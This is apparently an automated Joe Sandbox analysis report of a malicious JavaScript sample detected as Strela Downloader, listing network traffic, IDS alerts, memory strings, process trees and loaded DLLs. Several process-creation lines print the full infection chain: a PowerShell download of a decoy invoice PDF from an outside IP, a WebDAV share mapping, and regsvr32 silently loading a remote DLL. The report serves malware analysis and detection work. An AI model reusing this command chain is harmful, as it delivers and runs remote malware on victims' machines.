Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2081500825.00000261EB8FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2181956047.00000117BB998000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2171363630.00000117BB9EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/V
Source: net.exe, 00000007.00000002.2181956047.00000117BB998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: svchost.exe, 00000009.00000002.3368231127.000001FF41C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2181667750.000001FF419E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7264, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 91263130946456752.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uwc43o52.cj2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 91263130946456752.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1652,i,8447043099756402712,18323641986116161168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1652,i,8447043099756402712,18323641986116161168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
